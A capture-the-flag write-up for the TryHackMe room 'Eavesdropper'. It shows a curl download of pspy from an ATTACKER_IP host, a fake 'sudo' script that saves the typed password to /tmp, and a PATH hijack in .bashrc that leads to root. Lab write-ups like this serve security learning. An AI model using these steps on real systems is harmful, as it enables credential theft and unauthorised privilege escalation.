> For the complete documentation index, see [llms.txt](https://sumanroy.gitbook.io/ctf-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sumanroy.gitbook.io/ctf-writeups/tryhackme-writeups/eavesdropper-ctf-write-up-tryhackme.md).

# Eavesdropper - CTF Write-Up - TryHackme

Listen closely and you might hear a password!

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FIJdBKwTHQBCWcK179FCB%2Fcarbon.png?alt=media&amp;token=7b687456-d953-4dc6-a4b8-0e58a246dc25" alt=""><figcaption><p>Eavesdropper</p></figcaption></figure>

![Linux](https://img.shields.io/badge/Linux-blue) ![Hijacking](https://img.shields.io/badge/Hijacking-green) ![Groups and Permissions](https://img.shields.io/badge/Groups%20and%20Permissions-orange)

<table data-full-width="false"><thead><tr><th>Table of Contents</th></tr></thead><tbody><tr><td><a href="#enumeration">Enumeration</a></td></tr><tr><td><a href="#heres-the-concept">Concept</a></td></tr><tr><td><a href="#exploitation">Exploitation</a></td></tr></tbody></table>

#### Room Link : <https://tryhackme.com/room/eavesdropper>

### Enumeration

As the room's title suggests, our objective is to eavesdrop in order to obtain the password. I've explored various common enumeration methods within this room, testing different ways to exploit it—while some approaches showed promise, most did not yield the desired results.

To keep this write-up concise, let's dive right in. Our initial step involves checking for running processes.

{% code fullWidth="false" %}

```bash
ps -aux

# Output would be something like this
frank@workstation:~$ ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  1.0  1.4  12172  7220 ?        Ss   16:48   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root          69  2.2  1.8  13580  8948 ?        Ss   16:49   0:00 sshd: frank [priv]
frank        105  0.0  1.0  13904  5228 ?        S    16:49   0:00 sshd: frank@pts/0
frank        107  0.1  0.8   5992  3860 pts/0    Ss   16:49   0:00 -bash
frank        115  0.0  0.6   7644  3280 pts/0    R+   16:49   0:00 ps aux
```

{% endcode %}

Upon examining the situation, it becomes evident that there's another SSH process running with elevated privileges. To monitor this process discreetly, we will employ the 'pspy' tool. Follow these steps:

1. Download the 'pspy' tool from the following link: [Releases · DominicBreuker/pspy](https://github.com/DominicBreuker/pspy/releases).
2. Once downloaded, proceed to deploy the tool for further investigation.

```bash
# Start a webserver where you have downloaded the pspy binary
python -m http.server 8080

# Change to /tmp dir
cd /tmp
# deploy pspy64
curl http://ATTACKER_IP:8080/pspy64 -o pspy
# Provide permission to execute
chmod +x pspy
```

While monitoring the processes, focus on those with the UID=0, as they are typically root processes. Look for any relevant details in these processes.

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2F6o5QJpcxRxfQd6l7Ysul%2Fprocess.png?alt=media&amp;token=f07e9a89-fe29-431d-88e2-050ba6909fc8" alt=""><figcaption><p>spying on the process</p></figcaption></figure>

> sudo cat /etc/shadow

To obtain the password, we must hijack the process. It's worth noting that "sudo" is being called via a relative path.&#x20;

### Here's the concept:

By altering the value in the path variable and creating our own "sudo" command, we can hijack the process. Let's proceed with the coding steps.

```bash
# Change to /tmp dir
# Create a file called sudo
# Enter the following contents

#!/bin/bash
read -p "Password : " pass
echo $pass > /tmp/password
```

Now provide executable permission

```bash
chmod +x /tmp/sudo
```

### Exploitation

Finally change the PATH variable inside .bashrc file in /home/frank, one thing to note is that you need to enter this path as the first line in .bashrc file

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FjvGUOddlccHrlWqGpm94%2FUntitled%201.png?alt=media&amp;token=1cb727e4-6a05-4cf5-b1bd-65b4675b0e9b" alt="change the path variable"><figcaption><p>change the path variable</p></figcaption></figure>

```bash
PATH=/tmp:$PATH
```

1. Log out of the current SSH session.
2. Log back in; you should now have the password.
3. Once logged in, comment out the PATH variable from the `bashrc` file.
4. Log out again.
5. Log back in to obtain a root shell.

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FdcB9UyjuH8m219D89nw2%2FUntitled%202.png?alt=media&amp;token=38dbe9a9-0c82-4ec0-94e6-daeac1bb445b" alt=""><figcaption><p>log back in to the machine</p></figcaption></figure>

```bash
# type the following command to get root
sudo -i
```

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FxFlcGp8YQ1ADIDeI5IfY%2FUntitled%204.png?alt=media&amp;token=803a35c0-8891-49c9-8fb6-ede6aba22644" alt=""><figcaption><p>enter the password</p></figcaption></figure>

Provide the password, and you will have the root shell.

```bash
# Get the flag
cat /root/flag.txt
```

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FZ2kQ2UNEl04rxK5QUKGd%2FUntitled%205.png?alt=media&amp;token=7137baa0-51de-420f-83c7-97d454296059" alt=""><figcaption><p>get the flag</p></figcaption></figure>

I hope you had fun, learning new stuff :relaxed: :heart:
